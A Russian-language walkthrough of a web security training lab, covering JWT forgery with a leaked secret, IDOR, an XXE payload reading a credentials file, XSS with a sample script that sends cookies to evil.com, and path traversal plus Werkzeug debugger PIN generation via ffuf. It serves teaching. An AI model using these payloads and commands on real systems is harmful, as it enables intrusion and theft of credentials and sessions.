В нашей лаборатории разобран простейший пример атаки на JWT, которая связана с раскрытием секретного ключа, при этом получить данный ключ возможно, эксплуатировав продемонстрированную ранее уязвимость SSTI. Ну что ж, пришло время действовать!

Прежде чем переходить к атаке на JWT, необходимо решить следующие задания:

  • Task 5: Is it so secure?

  • Task 6: this appears to be vulnerable. Can you watch my config?

При переходе по ссылке в задании нас приветствует весьма неприятная надпись, которая сообщает, что у нас остутствует JSON web token (если вы, кончено, не решили задание #5: там токен выдаётся при успешной авторизации)

В ином случае мы увидим приветственную надпись, которая гласит, что флаг нам не поулчить, поскольку мы не являемся администратором приложения. Только админ может получить заветный флаг, но на этапе эксплуатации SQLi мы могли видеть, что в базе данных отсутствует какое-то упоминание о роли пользователей в приложении.

Как нам убедить приложение в том, что мы — админ?

При входе в аккаунт нам присваивается кука с именем token, в которой указано имя, а также запись о том, является ли наш пользователь админом или нет:

Вернемся в заданию #6 (this appears to be vulnerable. Can you watch my config?), в котором мы смогли узнать секретное значение, используемое для подписи JWT. Это значит, что теперь мы можем создавать произвольные JWT токены, а после успешно их подписывать. Для этого существует множетсво разных инструментов, как пример приведу следующие примеры:

  1. jwt.io = https://jwt.io

  2. Cyber Chef = https://gchq.github.io

  3. JWT Debugger = расширение для браузера

Вставим наш секретный ключ и изменим значение переменной isAdmin на true, после чего мы получим валидный подписанный JWT токен:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ik9pZGFobyIsImlzQWRtaW4iOnRydWV9.2n9U0CmNfp7oJci_CT1wAHmJEOsa0H829-mNtTdsd7k

Дальше нам нужно заменить выданный ранее токен на только что сгенерированный и перезагрузить страницу, после чего мы получим флаг

[8] IDOR: can you escape this strange corridor?

Это задание знакомит нас с уязвимостью IDOR, ктоторая может часто встречаться в веб-приложениях независимо от языка программирования.

IDOR (Insecure Direct Object Reference) — это уязвимость, в которой приложение не надлежащим образом проверяет аутентификацию и авторизацию пользователей при доступе к объектам или ресурсам.

Уязвимость IDOR возникает, когда приложение использует прямые ссылки на внутренние объекты или ресурсы без проверки, имеет ли пользователь право на их доступ. Это может создать возможность для злоумышленников получить незаконный доступ к защищенным данным или функциональности.

Примером может быть веб-приложение для онлайн-магазина, где каждый продукт имеет свой уникальный идентификатор (ID). Злоумышленник может изменить этот ID в URL и попытаться получить доступ к продукту, на который у него нет прав. Если приложение не проверяет авторизацию при доступе к объекту по этому ID, злоумышленник сможет просмотреть защищенные данные о продукте, либо даже добавить его в корзину или осуществить покупку от имени другого пользователя.

Одним из примеров уязвимости IDOR была известная уязвимость в социальной сети Facebook в 2007 году. В этом случае, через прямые запросы к API, злоумышленники могли получить доступ к альбомам и фотографиям других пользователей, даже если они были установлены как приватные.

Давайте теперь рассмотрим одну из вариаций такой уязвимости и найдём скрытую комнату на примере нашей лабораторной.

Переходим на страницу /corridor, где нас встречают 5 комнат:

Если мы посетим каждую из комнат, то увидим, что ничего интересного, кроме фотографии какой-то комнаты, на странице нет.

На этом этапе, посетив каждую из пяти комнат, нас может насторожить URL, по которому мы переходим в ту или иную комнату:

/corridor/c4ca4238a0b923820dcc509a6f75849b — Room 1
/corridor/c81e728d9d4c2f636f067f89cc14862c — Room 2
/corridor/eccbc87e4b5ce2fe28308fd9f2a7baf3 — Room 3
/corridor/a87ff679a2f3e71d9181a67b7542122c — Room 4
/corridor/e4da3b7fbbce2345d7772b0674a318d5 — Room 5

На первый взгляд кажется, что эти пути сгенерированы случайно, и найти скрытую комнату можно разве что перебором. Однако на самом деле это ни что иное, как MD5 хэши. Попробуем понять, что таким образом было кэшировано. Для этого используем онлайн инструмент Crackstation, содержащий огромную базу хэшей и первообразных к ним.

Запишем в поле наши хэши, решим капчу и посмотрим на результат:

И тут мы сразу же понимаем принцип генерации URL комнат.

Нетрудно догадаться, что теперь нам нужно посетить комнату либо с номером 6, либо с номером 0. Зная правильный ответ, сразу скажу, что нас интересует именно 0.

Пользуемся любой утилитой по вычислению хэша (будь то встроенные утилиты Linux, онлайн тулзы типа CyberChef и т.п.) и получаем хэш от нуля:
md5(0) -> cfcd208495d565ef66e7dff9f98764da

Осталось лишь перейти по полученному URI и забрать флаг:
/corridor/cfcd208495d565ef66e7dff9f98764da — Room 0

[9] XXE: I like hihihi and xexexe

В этом задании нас снова встречает форма авторизации, но в этот раз нам не нужно пытаться её брутить или пытаться обойти. Суть этого таска — эксплуатация довольно интересной уязвимости XXE.

Что такое XXE?

XXE (XML External Entity, внедрение внешней сущности XML) — это уязвимость веб-безопасности, которая возникает, когда приложение обрабатывает XML-ввод без надлежащей проверки или очистки. Суть этой уязвимости заключается в способности злоумышленника заставить приложение загружать внешние объекты (файлы или объекты, переданные через URL) внутрь XML-документа.

Немного про XML

Перед началом изучения XXE необходимо понять, что такое XML.
XML (eXtensible Markup Language) буквально означает «расширяемый язык разметки». XML — это язык, предназначенный для хранения и передачи данных. Подобно HTML, XML использует древовидную структуру тегов и данных. В отличие от HTML, XML не использует предопределенные теги, поэтому тегам можно давать любые имена для описания данных (именно поэтому язык разметки и назван расширяемым). Ранее XML был популярен как формат передачи данных («X» в «AJAX» означает «XML»), но сейчас его популярность снизилась в пользу формата JSON.

Для лучшего понимания думайте об XML как о способе структурирования данных, аналогичном HTML, но с большей гибкостью.

Пример описания объекта при помощи XML приведён ниже:

<?xml version="1.0" encoding="UTF-8"?>
<car>
  <brand>Mazda</brand>
  <model>Axela</model>
  <type>Sedan</type>
  <color>Red</color>
</car>

Здесь мы при помощи XML описали автомобиль Mazda Axela в кузове седан красного цвета.
На данном моменте мы примерно поняли, что такое XML. Теперь нужно разобраться с тем, что такое сущность.

Сущности в XML

Сущности XML — это способ представления элемента данных в XML-документе вместо использования самих данных. В данной статье мы будем вести речь про общие (general) сущности. Существуют также параметрические сущности, но этот вопрос я оставлю на факультативное изучение. В спецификацию языка XML уже встроены различные сущности, но на этом "перечень" сущностей не заканчивается. Например, если говорить о встроенных сущностях, то конструкции < и > представляют символы < и >. Это метасимволы, используемые для обозначения XML-тегов, и поэтому, как правило, они должны быть представлены с использованием их сущностей, когда идёт речь об их присутствии внутри данных документа. Иначе при попытке обработать документ процессор XML выдаст сообщение об ошибке.

Немного о DTD

XML document type definition (DTD) содержит директивы, которые могут определять структуру документа XML, типы значений данных, которые он может содержать, и другие элементы. DTD объявляется в необязательном элементе DOCTYPE в начале XML-документа. DTD может быть полностью автономным внутри самого документа (internal DTD), может быть загружен из другого места (external DTD) или может быть гибридным.

XML позволяет определять пользовательские сущности в DTD. Приведу пример:

<!DOCTYPE test [<!ENTITY entity_name "entity_value">]>

Эта строка означает, что любое использование ссылки на сущность &entity_name; в XML-документе будет заменено определенным значением: "entity_value".

Использование XML-сущностей

Таким образом, для того что бы использовать свои сущности, нам нужно использовать конструкцию вида:

<!ENTITY entity_name "entity_value">

Вновь вернёмся к примеру с нашим автомобилем:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY mazda "Mazda" >]>
<car>
  <brand>&mazda;</brand>
  <model>Axela</model>
  <type>Sedan</type>
  <color>Red</color>
</car>

Здесь мы определили внутреннюю сущность и сослались на неё в тэге brand. Несложно догадаться, что при обработке XML строка &mazda; будет заменена на Mazda.

Внутренние и внешние сущности

Обычные (general) сущности делятся на два вида: internal и external.
Внутренние (internal) сущности были рассмотрены выше (пример с автомобилем). Они работают только с теми значениями, которые описаны внутри документа.

Внешние (external) сущности необходимы для того, чтобы использовать в XML данные, хранящиеся в другом файле. То есть внешние XML-сущности — это тип настраиваемых сущностей, определение которых находится за пределами DTD, в котором они объявлены.

Объявление внешнего объекта использует ключевое слово SYSTEM и должно указывать URL-адрес, с которого должно быть загружено значение объекта. Например:

<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://example.com">]>

URL-адрес может использовать URI-схему file://, поэтому внешние объекты также могут быть загружены из файла:

<!DOCTYPE test [<!ENTITY xxe SYSTEM "file://path/to/file">]>

Внешние объекты XML как раз и обеспечивают основные средства, с помощью которых возникают XXE-атаки.

Подытожив, понимаем, что XML-документы могут содержать ссылки на объекты, которые ссылаются на внешние ресурсы (файлы или URL-адреса). При эксплуатации XXE злоумышленник может включить ссылки на эти объекты в XML и таким образом манипулировать приложением при их обработке. Когда уязвимое приложение обрабатывает XML-документ без его надлежащей проверки, оно может автоматически разрешить ссылки на внешние объекты и загрузить указанные объекты. Это может привести к различным типам уязвимостей, таким как чтение произвольных файлов с сервера (Arbitrary File Read), сканирование внутренней сети (к которой есть доступ у уязвимого приложения, но нет доступа снаружи) при помощи SSRF или запуск атак типа «отказ в обслуживании».

Сегодня мы остановимся на возможности чтения файлов при помощи XXE.

Приступим к практике

При переходе на URL /another_login нас встречает простая форма авторизации:

Самое время запускать Burp Proxy и изучать, как работает механизм авторизации.
Первым делом попробуем авторизоваться при помощи случайного имени и пароля (в моём случае user:pass):

Я сразу поместил запрос в Repeater, чтобы в дальнейшем осуществлять с ним работу. При анализе запроса мы видим, что у нас существует страница /doLogin, обрабатывающая запрос. При этом в результате нам также возвращается XML-документ, содержащий поля code и message. В поле message находим значение user, совпадающее с передаваемом значением в тэге username запроса. Проверим, так ли это, подставив случайную строку:

Отлично! Передаваемое нами значение отображается в результате работы функции. Отправляемый XML-запрос формируется на стороне клиента, давайте изучим механизм его генерации. Заглянем в исходный код страницы и найдем HTML-разметку, ответственную за вывод кнопки "Login", и скрипт, формирующий XML для его отправки на сервер:

Также снизу функции видим оставленный разработчиками комментарий с указанием, возможно, чувствительного файла, который вероятно может быть на сервере. Вся эта информация (отображение тега в результирующем запросе, использование XML, файл с кредами) наводит нас на мысль, что нужно эксплуатировать XXE! Давайте сделаем это.

Первоначально нам нужно определить внешнюю сущность, а затем встроить в нужный тег запроса. Итоговая нагрузка выглядит следующим образом:

      <?xml version="1.0" standalone="yes"?>
      <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///app/creds.txt" > ]>
      <user>
        <username>&xxe;</username>
        <password>f</password>
      </user>

Мы используем тег username для встраивания внешней сущности, так как его содержимое отображается в ответе сервера. Отправим этот запрос и посмотрим, что ответит нам сервер:

В ответе от сервера мы получили содержимое файла creds.txt, узнав логин и пароль от приложения: YouWillNeverGuessThisU53rn4m3:ButP@ssw0rdIsVeryStr0ng Авторизовавшись под полученными учетными данными мы успешно получаем флаг!

[10] XSS: Dev blog. What's wrong?

XSS (Cross-Site Scripting) — это уязвимость веб-приложения, которая позволяет злоумышленникам внедрять и исполнять вредоносный код (обычно JavaScript) в браузере пользователей. Уязвимость позволяет злоумышленнику получить доступ к пользовательским сессиям, перехватывать конфиденциальные данные или изменять содержимое сайта.

XSS-атаки обычно осуществляются путем внедрения вредоносного кода во входные поля формы, комментарии, параметры URL или другие пользовательские данные, которые не подвергаются должной фильтрации и экранированию. Когда пользователь открывает уязвимую к XSS страницу, содержащую вредоносный код, браузер выполняет этот код, что позволяет злоумышленнику, например, осуществлять атаки по перехвату данных, изменять содержимое страницы или перенаправлять пользователя на вредоносный сайт.

Примером XSS-атаки может быть следующий JavaScript код:

// Воровство куки и отправка их на сервер злоумышленника
<script>
var token = document.cookie;
new Image().src = 'http://evil.com/steal.php?cookie=' + token;
</script>

Существует три типа XSS-атак:

  1. Reflected (отраженная);

  2. Stored (хранимая);

  3. DOM-based.

В лабораторной представлены первые два типа, рассмотрим их подробнее.

Reflected XSS — это тип XSS-атаки, при которой JavaScript-код внедряется в ответ сервера путем передачи вредоносного кода в параметре GET-запросе и отображается веб-страницей для конкретного пользователя, который активно взаимодействует с ней.

В отличие от Stored XSS, где вредоносный код сохраняется на сервере и отображается для всех пользователей, Reflected XSS вступает в действие, когда жертва переходит по специально созданной ссылке или отправляет запрос с вредоносным параметром к уязвимому веб-приложению. Приложение затем вставляет этот вредоносный параметр в HTML-страницу, которая отображается у жертвы.

Пример Reflected XSS атаки:

Предположим, есть уязвимая страница поиска на веб-сайте, где пользователю предлагается ввести запрос для поиска. Приложение принимает это значение запроса в URL и вставляет его в HTML-код.

http://example.com/search.php?q=<script>alert('XSS')</script>

Если жертва переходит по этой ссылке, вредоносный код <script>alert('XSS')</script> будет вставлен в HTML-страницу, что приведет к появлению всплывающего окна с сообщением "XSS".

Stored XSS (Cross-Site Scripting) — это тип XSS-атаки, при которой вредоносный код сохраняется на сервере и отображается всем пользователям, которые посещают соответствующую веб-страницу или взаимодействуют с уязвимым приложением.

При эксплуатации Stored XSS злоумышленник записывает вредоносный код на сервере (например, в базе данных или файле), и он будет исполняться у всех пользователей, которые получают доступ к уязвимой части веб-сайта.

Пример Stored XSS атаки:

Предположим, есть уязвимая страница блога, где пользователи могут оставлять комментарии. Приложение не экранирует или фильтрует пользовательский ввод и сохраняет его на сервере без должной обработки.

Вот как может выглядеть вредоносный комментарий от пользователя:
<script>alert('XSS')</script>
При просмотре страницы комментариев блога все пользователи увидят вредоносный код, и в их браузерах появится всплывающее окно с сообщением "XSS".

В нашей лаборатории мы предоставили вам уявзимую страницу /blog, где можно попробовать любую из нагрузок для эксплуатации Stored или Reflected XSS (функция очистки БД также предусмотрена). Так как флаги по умолчанию уже доступны на странице, разбора указанного задания не будет. Однако не всё так просто и стандартная нагрузка <script>alert('XSS')</script> не сработает :) В любом случае, существует огромное количество пэйлодов, которые подойдут для эксплуатации, и найти их можно тут

[11] Bonus task: RCE?

При входе на страницу задания вас встречает надпись с приветствием на "секретной" станице, а так же фраза "Maybe SidneyJob can help you?"

В данной статье не будет рассмотрен полный процесс генерации и все тонкости, всю дополнительную информацию вы можете узнать в одной из моих статей, рекомендую прочитать ее, прежде чем переходить к решению задания.

Начнем с поиска комментариев на странице:

<!--QUESTION: Maybe there is a hidden param?-->
<!--QUESTION: Maybe Open-Source INTelligence will help you?-->
<!--VAR: hmm... path? /usr/local/lib/python3.10/dist-packages/flask/app.py-->

Пойдем по порядку:
<!--QUESTION: Maybe there is a hidden param?-->

Попробуем профаззить возможные параметры с помощью утилиты ffuf, использовать будем словарь из seclists burp-parameter-names.txt:

ffuf -u https://lab.sidneyjob.ru/secret?FUZZ=1 -b "score=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnX1JlZmxlY3RlZFhTUyI6ZmFsc2UsImZsYWdfU3RvcmVkWFNTIjpmYWxzZSwiZmxhZ19YWEUiOmZhbHNlLCJmbGFnX2Jhc2U2NGJydXRlIjpmYWxzZSwiZmxhZ19mdXp6aW5nIjpmYWxzZSwiZmxhZ19nZXRicnV0ZSI6ZmFsc2UsImZsYWdfaWRvciI6ZmFsc2UsImZsYWdfand0IjpmYWxzZSwiZmxhZ19wb3N0YnJ1dGUiOmZhbHNlLCJmbGFnX3NxbGkiOmZhbHNlLCJmbGFnX3NzdGkiOmZhbHNlLCJmbGFnX3dlcmt6dWdlciI6ZmFsc2UsIlRpbWUiOiIyMDIzLTA2LTEzIDA0OjU1OjE5LjA2MzcxNiIsInVzZXIiOiJ1c2VyX2JYUFJoVUh1dWJFdTdmOEciLCJTY29yZSI6MH0.AAKvkrEp1-2A9h_lTwUpdC0HFGmje3t4S-4IGwijgUw" -w wordlists/burp-parameter-names.txt -fs 3723 -fc 403

В результате фаззинга получаем параметр usefilename. Исходя из статьи видим, что для генерации Debugger PIN необходима возможность читать файлы, поэтому пробуем фаззить различные файлы:

ffuf -u https://lab.sidneyjob.ru/secret?usefilename=FUZZ -b "score=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnX1JlZmxlY3RlZFhTUyI6ZmFsc2UsImZsYWdfU3RvcmVkWFNTIjpmYWxzZSwiZmxhZ19YWEUiOmZhbHNlLCJmbGFnX2Jhc2U2NGJydXRlIjpmYWxzZSwiZmxhZ19mdXp6aW5nIjpmYWxzZSwiZmxhZ19nZXRicnV0ZSI6ZmFsc2UsImZsYWdfaWRvciI6ZmFsc2UsImZsYWdfand0IjpmYWxzZSwiZmxhZ19wb3N0YnJ1dGUiOmZhbHNlLCJmbGFnX3NxbGkiOmZhbHNlLCJmbGFnX3NzdGkiOmZhbHNlLCJmbGFnX3dlcmt6dWdlciI6ZmFsc2UsIlRpbWUiOiIyMDIzLTA2LTEzIDA0OjU1OjE5LjA2MzcxNiIsInVzZXIiOiJ1c2VyX2JYUFJoVUh1dWJFdTdmOEciLCJTY29yZSI6MH0.AAKvkrEp1-2A9h_lTwUpdC0HFGmje3t4S-4IGwijgUw" -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 3745,1813

В параметр -fs стоит добавить еще 1 значение, которое будет выдается, если нас заблокирвовал WAF

После фаззинга получаем следующее:

[Status: 200, Size: 4656, Words: 1068, Lines: 164, Duration: 184ms]
    * FUZZ: ....//....//....//....//....//....//etc/passwd

[Status: 200, Size: 4656, Words: 1068, Lines: 164, Duration: 176ms]
    * FUZZ: ....//....//....//....//etc/passwd

[Status: 200, Size: 4656, Words: 1068, Lines: 164, Duration: 180ms]
    * FUZZ: ....//....//....//....//....//etc/passwd

[Status: 200, Size: 4656, Words: 1068, Lines: 164, Duration: 180ms]
    * FUZZ: ....//....//....//etc/passwd

[Status: 200, Size: 4656, Words: 1068, Lines: 164, Duration: 176ms]
    * FUZZ: ....//etc/passwd

[Status: 200, Size: 4656, Words: 1068, Lines: 164, Duration: 183ms]
    * FUZZ: ....//....//etc/passwd

На основе вывода выше можно сделать вывод, что присутсвует некая защита, которая удаляет ищет в строке символы "../" и удаляет их, но при этом делает это не рекурсивно, т.е. из "....//etc/passwd" удаляется подстрока "../", в результате получаем "../etc/passwd"

Разобрались с механизмом чтения файлов, идем дальше. А дальше нам необходимо будет скачать скрипт для генерации пина.

git clone https://github.com/SidneyJob/Werkzeuger.git
cd Werkzeuger
python3 gen.py --help

В выводе справочной информации скрипта видим какие файлы нам нужно прочитать, чтобы сгенерировать пин. Вернемся к комментариям, в самом последнем из них нам был дан какой-то путь (/usr/local/lib/python3.10/dist-packages/flask/app.py), если посмотреть на справочную информацию в скрипте и на примеры значений в статье, то можем убедиться в том, что это путь до Flask, который является одной из необходимых переменных для генерации пина.

Пойдем по порядку и начнем с имени пользователя, которое мы можем узнать, прочитав файл /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 

Из файла /etc/passwd мы видим, что скрипт могли запустить 2 пользователя:

  1. root

  2. www-data

Дальше нам нужен MAC

Cписок доступных сетевых интерфейсов мы можем узнать, прочитав файл /proc/net/dev. MAC-адрес интерфейса можно увидеть с помощью файла /sys/class/net/INT/address, где INT — любой интерфейс.

Вывод /proc/net/dev:

Inter-| Receive | Transmit face |bytes packets errs drop fifo frame compressed multicast|bytes packets errs drop fifo colls carrier compressed
lo: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
eth0: 285069127 2512721 0 0 0 0 0 0 1934174623 1798163 0 0 0 0 0 0 

Вывод /sys/class/net/eth0/address:

02:42:ac:13:00:04

Machine_id

И тут есть загвоздка, файл /etc/machine-id пустой, поэтому нам следует читать файл /proc/sys/kernel/random/boot_id

493003ca-40c8-44be-98e0-47bebfebc98d

cgroup

И наконец последняя часть - это cgroup

0::/

Итого у нас есть следующие варианты для герерации пина

Вариант 1:

www-data
/usr/local/lib/python3.10/dist-packages/flask/app.py
02:42:ac:13:00:04
493003ca-40c8-44be-98e0-47bebfebc98d
0::/

Вариант 2:

root
/usr/local/lib/python3.10/dist-packages/flask/app.py
02:42:ac:13:00:04
493003ca-40c8-44be-98e0-47bebfebc98d
0::/

Пробуем генерировать пин

Вариант 1:

python3 gen.py --username www-data --path /usr/local/lib/python3.10/dist-packages/flask/app.py --mac 02:42:ac:13:00:04 --machine_id 493003ca-40c8-44be-98e0-47bebfebc98d --cgroup 0::/

__          __             _
\ \        / /            | |
 \ \  /\  / /   ___  _ __ | | __ ____  ___  _   _   __ _   ___  _ __
  \ \/  \/ /   / _ \| '__|| |/ /|_  / / _ \| | | | / _` | / _ \| '__|
   \  /\  /   |  __/| |   |   <  / / |  __/| |_| || (_| ||  __/| |
    \/  \/     \___||_|   |_|\_\/___| \___| \__,_| \__, | \___||_|
                                                    __/ |
                                                   |___/



                Author:  https://github.com/SidneyJob
                Channel: https://t.me/SidneyJobChannel


[+] SUCCESS!
[*] PIN: 137-859-951
[*] Cookie: __wzd29164bb974e0661800b8=1687192036|6b75e0d5bde0
                                                                 

Вариант 2:

python3 gen.py --username root --path /usr/local/lib/python3.10/dist-packages/flask/app.py --mac 02:42:ac:13:00:04 --machine_id 493003ca-40c8-44be-98e0-47bebfebc98d --cgroup 0::/

__          __             _
\ \        / /            | |
 \ \  /\  / /   ___  _ __ | | __ ____  ___  _   _   __ _   ___  _ __
  \ \/  \/ /   / _ \| '__|| |/ /|_  / / _ \| | | | / _` | / _ \| '__|
   \  /\  /   |  __/| |   |   <  / / |  __/| |_| || (_| ||  __/| |
    \/  \/     \___||_|   |_|\_\/___| \___| \__,_| \__, | \___||_|
                                                    __/ |
                                                   |___/


                Author:  https://github.com/SidneyJob
                Channel: https://t.me/SidneyJobChannel


[+] SUCCESS!
[*] PIN: 309-579-745
[*] Cookie: __wzd9f9be8b00d5216a13aea=1687192097|87d19f793bb2

Итого у нас есть 2 пина:

  1. 137-859-951

  2. 309-579-745

Попробуем поочередно ввести их и увидим, что подходит лишь 2-ой пин (309-579-745). Вводим его в поле и забираем свой флаг!

Комментарии (0)